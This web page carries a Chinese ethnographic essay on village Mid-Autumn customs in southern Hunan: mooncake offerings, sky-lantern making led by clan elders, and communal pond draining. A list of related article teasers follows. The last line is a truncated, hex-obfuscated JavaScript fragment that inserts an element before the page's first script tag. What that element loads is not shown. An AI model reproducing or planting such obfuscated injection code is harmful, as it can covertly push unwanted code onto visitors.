首页 / 中秋节 / 湘南中秋节习俗

湘南中秋节习俗

中秋节 2021-04-20 14:48

请“月光娘娘”吃大烧饼

一般由年轻夫妇和小孩组成的家庭,在中秋节的时候并不需要到商店里去购买月饼,就算去买也不会买很多,因为中秋节这天小孩的外婆会拣一袋子的月饼到家里来,叫做“送大烧饼”给外孙崽女吃。农村人吃月饼很随意,月饼也很便宜,一般是两三块钱一筒,自己家买两三筒,外婆再送两三筒来,也就足以堵住小孩子的馋嘴了,所以一到中秋这天就在家等着外婆的到来,外婆是这天最亲的人。更何况还有一些长辈亲戚也会来家里“送大烧饼”。中秋这天晚上,当月光铺洒在大门口的时候,家里的大人便会把桌子搬出来,正对着皎洁的月亮,往上面摆上月饼。把家里人都叫上,对着月亮鞠三个躬,请“月光娘娘”吃大烧饼。祭完月亮之后,就开始拿月饼吃了,小孩子则拿着月饼到“禾坪”看放灯了。

“灯。高嘞,高嘞”

“灯”的书面名字是孔明灯,水村就叫它“灯”。每到仲秋的时候,村落里的人就盼望着中秋这天会出大月光,只有徐徐清风,这样的天最适合放灯了。放灯的传统是一代一代传下来的,每一代都有些积极分子,他们既有热情,又有很好的编制灯的技术,从我这一批“香”字辈的年轻人记事起到现在已经出现了四个放灯的领导者了。最初是我的五公公,他是个绝佳里手,只要是他负责编制的灯一次点燃就能送上天,他的继承者是湾里的一位“书”字辈的伯父,他手脚不好使之后,另外一个年轻些的伯父接下了这份活,这个伯父领导了十年八年,直到近些年才有一位四十多岁的叔叔兴头,等这位叔叔“退休”后,可能接班的人是“香”字辈的人。中秋放灯除非遇到特殊情况如天气不好,基本上不会间断。在中秋的前几天,一些年轻的积极分子就会合伙到街上买灯纸,纸要特别薄灯才不至于过重,色彩有多种如白、红、蓝、黄等,这样可以增加灯的欣赏度。天一杀黑,村落里的人就陆续赶到禾坪上来,这是一个有数亩面积的晒谷场。到八九点钟之后,禾坪上就黑压压地挤满了人,小孩是最兴奋的,老人也带着小孙子佝着背过来,年轻人是来学习制作技术的。一些积极分子把兴头的人请到禾坪上来,然后听从他的安排。有人用芋头做糨糊,有人做竹圈,有人准备棉花和柴油,分工很明确。设计和裁纸是制灯的关键,因此这道工序由兴头人亲自担当。做一个灯需要一到两个小时,做的时候,人们把“工作区”紧紧地围了个大圈,仔细地瞧着如何制作,每个人都试图参与进来,亲自体验一下,就是帮忙递下工具也行。我小时候曾有幸一起到镇上买过灯纸,为此激动了半年,因为上了天的灯是用“我买来的纸做的”,就好像那个灯是自己的一样,而没有亲自参与的小朋友则投以羡慕和崇拜的目光,我成了伙伴追逐的偶像。或许正是有这种参与的欲望和热情才有了放灯传统的生生不息、代代相传。灯编制好之后就是放灯了,这是最激动人心的时刻,人们心里在祈祷着,“灯一定能一次就放上去”。比较高个的年轻人把灯用双手支撑起来,使灯下发火的时候不至于把灯尾给烧着了。“发灯”是件光荣的事,兴头人把这件任务交给晚辈青年或八九岁的孩子,于是孩子们便争夺起来,谁也不相让,喊叫着“我要发灯”。最终拿到“发灯”权的人自豪地把灯点燃。由于在水村土话里,“发灯”和“发癫”是一个音,因此过后“发灯”的人就会被人开玩笑说要“发癫”。尽管如此,“发癫”的人是当晚孩子中最光彩耀眼的人。灯下在烧火,柴油多烟雾很快就把灯胀鼓,试图从托灯人的手中挣脱开来往天上冲撞。灯慢慢地上天了,禾坪上的人仰着头,叫喊“高嘞,高嘞”,希望自己的叫喊能把灯“喊”到高处。灯确是上到了高处,只能见一点火,像一颗明亮的星星拱着月儿。徐徐清风把灯送到了天空的另一边,于是人们便“追灯”。如果灯下棉团浸的柴油比较充足,火烧得久,灯也就飘得远。人们追灯最远的时候达到十几二十里的路程,到了陌生的村落或山岭。追灯还追出了许多笑话,一个伯父年轻时候与伙伴们一同追灯,看着灯落到山的那一边,便齐赶过去看谁先发现落地的灯。这个伯父跑到最前头,看到有一处白色的“堆”,很似灯,二话没说就扑抱过去,结果发现自己怀抱的是个坟头。另外一个伯父,他年轻的时候也很疯狂,有几次追灯只抬头不看路而掉进了猎野物的深坑里。许多人因为追灯而摔了无数次跤,脸被黑泥粘得不成样了,自己还不知道。我也在山上和沟渠里飞跑过,至今也想不通那些坎是如何跨过去的。这样的故事很多,在水村每到中秋时人们就会谈起,当做记忆,但追灯却还在继续。

干塘与湾人大联欢

宗族性村落宗族的格局一般是祠堂在村落的正中央,祠堂前面隔一块二三十米长的空地,空地前是宗祠的门楼,门楼处在村落的最前沿,是村落的门户。祠堂和门楼两旁是宗族的住房,以右为尊大,因此右边是大房的房屋,左边住的是二房的人。门楼的正前方是一口池塘,它像明镜一样照耀着门楼。整个宗祠即由祠堂、门楼和池塘组成,从风水的角度讲,它完全占据的是块宝地,护佑着宗祠两旁的子孙后裔。水村平屋里的池塘在新中国成立前有数十亩面积,犹如一面湖,分为左塘、右塘和中间塘。新中国成立后平屋里实施“填塘造田”工程,把右塘和中间塘填了整平为良田。留下来的左塘尚有一亩多水面,呈橄榄球型,左岸是数百年的榕树,睡仙一般斜着身子僦影于水面,右岸乃整平出来的水田。塘中间有两块相隔三四米的鸳鸯生石,圆锥形,平常有一二十厘米露出水面,正是小孩子游泳休息的好扶手。因为有活水注入,池塘的水一直以来都很清澈。在平屋里引水修井之前池塘发挥着多项功能——活水注入的左面是人们挑饮用水的地方,此处不允许小孩游泳和洗刷;中间岸边的水面上浮着几块大而透亮的石块,作为洗衣物的场所;最下游则是安排洗尿桶等污秽物品的地方。由于水质很清,酷暑季节池塘就成了孩子们消暑的最佳场所,平屋里五六岁的小孩子就开始在池塘边沿学游泳了。自有池塘以来,还没有人因为游泳而被水淹死的案例,水村人的解释是,这是宗祠的池塘,且池塘对面正好是杨姓的“宗庙唐公”,他老人家整天盯着村落和池塘,不会让子孙后代出事。有了祖宗的保佑,孩子们就可以尽情地在池塘里玩耍了。在平屋里,每年湾里都会向每户收取一块五毛钱用于买鱼苗,放入池塘,喂养一年后,到八月中秋时就干塘捞鱼。干塘是在中秋节的前两天。这天早晨,人们就开始陆陆续续地赶往池塘边,全湾的人一个不留。特别是成年男子,不得不来,因为有苦力活要干。在湾里出现抽水泵之前,水村是用吊桶把整塘的水吊干的。一口塘设两到三个吊桶,吊桶用两根绳子拴着,一人牵一边从塘里头吊水出来,倒人小河里。两个人一吊桶,如果手脚麻木了,就换另外一班,湾里的成年男子每个人都会轮到,因此他们就得在一旁等待。而妇女、小孩和老人则围着塘看热闹,看着塘水变浅,指点着不时跳出水面的鱼。会游泳的小孩则早已下了水,在水岸的石头缝里摸螺蛳和蚌壳。两三个吊桶不停歇地工作,到下午三四点钟的时候,池塘就干得差不多了,鱼在浅水中乱蹦乱跳,这时就开始捞鱼了。妇女们把家里的洗澡盆搬到池塘岸边来,倒半盆清水,而男子则下水捞鱼。小孩当然也有事做,他们把大人捞上的鱼拿到水盆里来。此时的场面是最疯狂最热闹的,每个人都没有闲着,每个人都付出巨大的热情参与到这场狂欢中来。大鱼捞得差不多的时候,就停下手来准备分鱼了。把捞上来的鱼称好,按人头分到各户,一般一年这IZl塘能打两三百斤鱼,即湾里每个人可分到一至两斤鱼。后来湾里有两户人家买了小型水泵,他们也参与进来,但吊桶仍然使用,使干塘的速度加快。两台小型水泵记两个工,分鱼的时候每台分两斤鱼。第二天,也就是中秋节的前一天,成年男女仍不能闲下来,还有巨大的任务要完成,那便是修塘堤和挑塘泥。男子负责修塘堤。由于洪水或机器、人行走的缘故,塘堤总有些边沿崩溃或石块松弛的地方,这样就必须年年维修,如果拖久了,几年不修一次,那么整个池塘堤都会溃掉,这样既不方便洗刷,又不好行走,更不用说养鱼了。因此必须当年溃的堤当年修复。所以这天湾里男子的任务就是要对塘堤进行全方位检查和维修,需要从山上抬石头把溃决的堤重新砌好,挑硬泥来填堤面使其变得更结实防溃。而湾里的妇女同志则要把塘里的淤泥清理出去,使塘能装更多的水,这样既适合养鱼,水更清洁也便于洗刷。塘堤修复好和淤泥挑完后,先不急着灌水,让阳光曝晒两三天,除去塘里的腥昧后再注水进来,这时的池塘就换了副模样,水是清澈见底。然后湾里就向各家各户收取一块五毛钱购买鱼苗,“放种”。中秋节这天家家户户都煮鱼吃——因为不是湖区也不靠大江大河,平时水村人都不吃鱼,而且分到家的鱼还吃不完,则需把鱼放到灶台上烘干,制成干鱼。

其他习俗

农历八月份是水村人最空闲的时间段,其他月份都比较忙。八月中秋之前人们在忙着“双抢”和种稻,旱地里的花生、玉米都要收果,而之后的月份则开始挖红薯,做红薯粉,这项工作可以一直持续到农历十二月份,此时还有晚稻要收割。因此八月中秋相对不是个很忙的月份,可以抽出很多时间来参加村落集体的活动,凑凑热闹,凑个“兴头”。人们有参与文化娱乐活动的需求,也就会有人创造各种机会提供不同的活动方式。中秋放灯就是水村人在这个休闲月份的一项有趣的文娱活动,吸引了村落里所有人的目光,勾起了人们的兴趣,并对参与编制、燃放灯投入极大的热情,期待自己能够亲自参与灯的编制工序,把自己的劳动、技术投入其中。特别是村落里的孩童,他们对灯充满了幻想与憧憬,孩童时代对灯的深刻记忆促使他在往后的岁月中努力学习编制、参与燃放,学会一整套灯的技术技能,使其不至于失传。同时,每年的实践又吸引更多的积极分子参与进来,从而使中秋放灯的传统活动能够流传下去。在中秋放灯活动中,编制灯的技术能手都是村落里能说得起话、有一定权威的族老,比如接管放灯多年的杨书煌便是水村平屋里两个房头的老大,他是村落集体记忆的象征,各种传统仪式都由他主持,他也是过年杀猪“喝汤”的座上宾。因此,中秋放灯不仅仅是娱乐活动那么简单,而是通过这样一种娱乐活动,使其中的积极分子和技术能手脱颖而出,成为村落社区的集技能、荣誉、道德于一身的佼佼者。我们看到,参与到编制、燃放灯中的人都有一种自豪感,并且其他人也会给予他们这种荣誉。这在孩童中表现得尤为明显,参与制灯的孩童会有一批追随者替他“出头”、“卖命”。而在成人当中,兴头的人会在制灯的过程中观察谁最有潜力成为接班人——接班人不仅要有很好的制灯技术,还要有领导、决策和团结的能力,也就是有成为宗族的领导者的潜能。被他选中的人,将成为重点培养的对象,以后他就会成为整个村落的“聚焦灯”。因此,水村中秋禾坪放灯作为一个村落宗族实践的场域而存在,为宗族年轻人提供了一个展示自我、获取宗族认可的舞台。舞台上的竞争既可以是明的,亦可能是内心的较量,但每一个“参赛”者必须遵循场域里的惯习。最终成功者获得村落的光环。当然这样的舞台不止一个,也不仅通过一个事件来考察宗族成员,还有许多这样的舞台机遇,比如对书法的历练情况,更多的是在生活的细微处体察。中秋放灯不过是比较大而显著的事件。同样,中秋节干塘为水村人提供了一次狂欢的机会。人们并不是为了分几斤鱼而这么辛劳卖命,而是为着一个“兴头”,所有人狂欢的兴头。水村人讲,正是有了这个兴头,湾才像个湾。也就是说,作为一个完整的道德和生活社区,它必须有一些活动和仪式来加以整合,必须有载体来支持、培养和创造人们钟情于社区事务的积极性。村落的解体,恰恰是像干塘这样的集体活动在村落生活中退场所导致的,它的退场既是村落解体的一个表征,同时也是重要的原因。村落集体活动的退场,使得村落缺少了能够整合在一起的黏合剂和必要的桥梁,并使原来结合在一起的人际网络和人们之间的感情纽带渐趋松弛,村落不再具有强有力的价值生产能力,村落舆论也趋于瓦解,人们各自解除了相互之问的责任与义务,最终也就造成了“村将不村”的局面。村落不再是生活与道德、价值实现、认同单位的完整社区,只是人们在人生旅途中一个不起眼的驿站,走出驿站之后就不会再回头看一眼。水村的宗族观念还相当强烈,人们还有参与集体活动的“兴头”,并能在其中获得乐趣和体验人生的价值。如果仅仅是为了能分到几斤鱼而整整耽搁两天的工,是绝对划不来的,因为水村男子完全可以到附近的矿区“上班”,一天就可以赚上几十块上百块钱,妇女也可以挑小菜到集市上去卖——正是过节的时候,卖得更好。因此用经济学机会成本理论来解释,水村人绝不会为区区几斤鱼放弃其他更有赚头的事,这不符合理性经济人的假设。人们愿意放弃大头而顾及池塘里的几斤鱼,这说明池塘里面肯定还有更大的赚头。集体活动不退场的村落,社区生活也就有了实在的黏合剂,人们能在集体活动中感受到强烈的社区道德和生命价值,同时也在这样的活动中产生认同、建立彼此的责任和义务,从而使村落能够牢牢地被传统的价值观念和信仰黏合在一起而不至于分崩离析。

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();